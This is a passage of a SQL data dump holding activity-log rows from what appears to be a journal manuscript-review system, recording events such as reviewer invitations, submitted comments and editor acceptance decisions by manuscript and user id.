comments',8320,'Reviewer',17912),(78595,'0000-00-00 00:00:00','Reviewer has updated comments',8320,'Reviewer',17912),(78596,'0000-00-00 00:00:00','Reviewer has updated comments',8320,'Reviewer',17912),(78597,'0000-00-00 00:00:00','Reviewer has updated comments',8320,'Reviewer',17912),(78598,'0000-00-00 00:00:00','Reviewer has updated comments',8320,'Reviewer',17912),(78604,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8403,'Author',9542),(78605,'0000-00-00 00:00:00','Reviewer has submitted comments',8381,'Reviewer',12022),(78615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8359,'Publisher',274),(78619,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8389,'Publisher',984),(78641,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8403,'',1045),(78642,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8408,'Author',9547),(78719,'0000-00-00 00:00:00','Reviewer has submitted comments',8359,'Reviewer',12022),(78758,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8417,'Publisher',319),(78759,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8408,'Publisher',85),(78770,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8418,'Author',9557),(78787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78791,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78792,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78793,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78794,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78795,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78796,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78797,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78798,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78799,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78800,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78803,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8364,'Publisher',645),(78804,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8364,'Publisher',645),(78805,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8364,'Publisher',645),(78806,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8364,'Publisher',645),(78807,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8364,'Publisher',645),(78808,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8364,'Publisher',645),(78809,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78810,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78811,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78812,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78813,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78814,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78815,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78816,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78817,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78818,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78819,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78820,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78821,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78822,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78823,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78824,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8174,'Publisher',85),(78826,'0000-00-00 00:00:00','Reviewer has submitted comments',8364,'Reviewer',17489),(78827,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8364,'Editor',634),(78828,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(78829,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8364,'Editor',634),(78885,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78887,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78889,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78890,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78891,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78892,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78893,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78894,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78895,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78896,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78897,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(78900,'0000-00-00 00:00:00','Author sent Email',6817,'Author',7918),(78901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78914,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(78926,'0000-00-00 00:00:00','Publisher : Notified Editor',8381,'Publisher',274),(78927,'0000-00-00 00:00:00','Publisher : Notified Editor',8359,'Publisher',274),(78932,'0000-00-00 00:00:00','Author sent Email',8076,'Author',9247),(78940,'0000-00-00 00:00:00','Manuscript Submitted by Author',8429,'Author',9566),(78945,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8319,'Publisher',75),(78946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8319,'Publisher',75),(78947,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8319,'Publisher',75),(78948,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8319,'Publisher',75),(78949,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8328,'Publisher',75),(78950,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8328,'Publisher',75),(78951,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8328,'Publisher',75),(78956,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8417,'Publisher',319),(78967,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6825,'Publisher',75),(78969,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6817,'Publisher',75),(78970,'0000-00-00 00:00:00','Reviewer has submitted comments',6817,'Reviewer',11589),(78971,'0000-00-00 00:00:00','Publisher : Notified Editor',6817,'Publisher',75),(78972,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6817,'Editor',161),(78973,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6817,'Publisher',75),(78984,'0000-00-00 00:00:00','Reviewer has submitted comments',8224,'Reviewer',10963),(78985,'0000-00-00 00:00:00','Manuscript Submitted by Author',8435,'Author',7494),(79005,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8429,'Publisher',48),(79006,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8436,'Publisher',75),(79017,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8441,'Author',9577),(79018,'0000-00-00 00:00:00','Author sent Email',8173,'Author',9339),(79020,'0000-00-00 00:00:00','Manuscript Submitted by Author',8442,'Author',9102),(79021,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79024,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(79036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79047,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7887,'Editor',1594),(79048,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8019,'Editor',1594),(79049,'0000-00-00 00:00:00','Publisher : Notified Author',8019,'Publisher',274),(79050,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7887,'Publisher',274),(79051,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7887,'Publisher',274),(79052,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7887,'Publisher',274),(79053,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8014,'Editor',1659),(79054,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8014,'Publisher',274),(79055,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8014,'Publisher',274),(79056,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8019,'Editor',1594),(79057,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8019,'Publisher',274),(79058,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8019,'Publisher',274),(79083,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8449,'Publisher',248),(79092,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8441,'Publisher',84),(79093,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8253,'Publisher',84),(79103,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8442,'Publisher',274),(79111,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8435,'Publisher',48),(79120,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8436,'Publisher',75),(79121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8436,'Publisher',75),(79122,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8436,'Publisher',75),(79123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8436,'Publisher',75),(79124,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8436,'Publisher',75),(79125,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8436,'Publisher',75),(79126,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8436,'Publisher',75),(79130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8442,'Publisher',274),(79131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8442,'Publisher',274),(79132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8442,'Publisher',274),(79133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8442,'Publisher',274),(79134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8442,'Publisher',274),(79135,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8442,'Publisher',274),(79149,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(79150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8435,'Publisher',48),(79151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8435,'Publisher',48),(79152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8435,'Publisher',48),(79153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8435,'Publisher',48),(79154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8435,'Publisher',48),(79155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8429,'Publisher',48),(79156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8429,'Publisher',48),(79157,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8429,'Publisher',48),(79158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8429,'Publisher',48),(79159,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8429,'Publisher',48),(79167,'0000-00-00 00:00:00','Manuscript has been Revised',8068,'Author',9240),(79168,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79169,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79170,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79171,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79172,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79173,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79174,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79182,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8358,'Editor',194),(79183,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8358,'Editor',194),(79184,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8358,'Publisher',48),(79188,'0000-00-00 00:00:00','Reviewer has submitted comments',8442,'Reviewer',12022),(79189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79194,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79195,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79196,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79197,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79198,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79199,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79200,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79201,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79202,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79203,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8389,'Publisher',984),(79204,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79205,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79206,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79207,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79208,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79209,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79210,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79211,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79213,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79216,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8169,'Publisher',984),(79220,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8302,'Publisher',376),(79227,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8241,'Publisher',376),(79269,'0000-00-00 00:00:00','Manuscript Submitted by Author',8460,'Author',9557),(79278,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8449,'Publisher',248),(79287,'0000-00-00 00:00:00','Reviewer has submitted comments',8436,'Reviewer',11589),(79288,'0000-00-00 00:00:00','Publisher : Notified Editor',8436,'Publisher',75),(79289,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8436,'Editor',161),(79290,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8436,'Editor',161),(79291,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8436,'Publisher',75),(79317,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8353,'Publisher',988),(79370,'0000-00-00 00:00:00','Manuscript has been Revised',8323,'Author',9472),(79377,'0000-00-00 00:00:00','Publisher : Notified Editor',8323,'Publisher',319),(79413,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8460,'Publisher',645),(79414,'0000-00-00 00:00:00','Manuscript Updated',8460,'Publisher',645),(79418,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8460,'Publisher',645),(79419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8460,'Publisher',645),(79420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8460,'Publisher',645),(79421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8460,'Publisher',645),(79422,'0000-00-00 00:00:00','Reviewer has submitted comments',8460,'Reviewer',4512),(79423,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8460,'Editor',634),(79424,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8460,'Editor',634),(79449,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8475,'Publisher',319),(79502,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8481,'Publisher',645),(79511,'0000-00-00 00:00:00','Publisher : Notified Editor',8068,'Publisher',85),(79513,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8068,'Editor',203),(79519,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8484,'Author',9616),(79520,'0000-00-00 00:00:00','Reviewer has submitted comments',8315,'Reviewer',11689),(79521,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8315,'Publisher',48),(79522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8408,'Publisher',85),(79539,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8408,'Reviewer',16673),(79540,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8417,'Editor',1069),(79541,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8323,'Editor',1069),(79550,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8490,'Author',9623),(79557,'0000-00-00 00:00:00','Manuscript Submitted by Author',8491,'Author',9619),(79571,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(79572,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(79573,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(79574,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(79575,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7924,'Publisher',75),(79576,'0000-00-00 00:00:00','Reviewer has submitted comments',7924,'Reviewer',13225),(79577,'0000-00-00 00:00:00','Publisher : Notified Editor',7924,'Publisher',75),(79578,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7924,'Editor',161),(79579,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7924,'Publisher',75),(79580,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7924,'Publisher',75),(79581,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7924,'Publisher',75),(79584,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(79585,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(79586,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(79587,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(79588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7930,'Publisher',75),(79589,'0000-00-00 00:00:00','Reviewer has submitted comments',7930,'Reviewer',11589),(79590,'0000-00-00 00:00:00','Publisher : Notified Editor',7930,'Publisher',75),(79591,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7930,'Editor',161),(79592,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7930,'Publisher',75),(79593,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7930,'Publisher',75),(79610,'0000-00-00 00:00:00','Publisher : Notified Editor',8442,'Publisher',274),(79655,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8172,'Publisher',248),(79656,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8494,'Author',9625),(79667,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8484,'Publisher',248),(79703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8320,'Publisher',673),(79704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8240,'Publisher',673),(79705,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8239,'Publisher',673),(79706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(79707,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8475,'Publisher',319),(79708,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8323,'Publisher',319),(79717,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8504,'Author',9633),(79787,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8494,'Publisher',376),(79794,'0000-00-00 00:00:00','Manuscript Submitted by Author',8511,'Author',9118),(79796,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8435,'Editor',194),(79797,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8435,'Editor',194),(79798,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8403,'Editor',194),(79799,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8403,'Editor',194),(79800,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8435,'Publisher',48),(79801,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8491,'Publisher',85),(79802,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8490,'Publisher',85),(79839,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8403,'',1045),(79842,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8513,'Publisher',85),(79969,'0000-00-00 00:00:00','Reviewer has submitted comments',8358,'Reviewer',11689),(79972,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8514,'Author',9640),(79986,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8358,'Publisher',48),(80026,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8513,'Publisher',85),(80027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8490,'Publisher',85),(80035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80055,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80056,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80057,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80058,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80059,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80060,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80061,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80062,'0000-00-00 00:00:00','Publisher has Invited 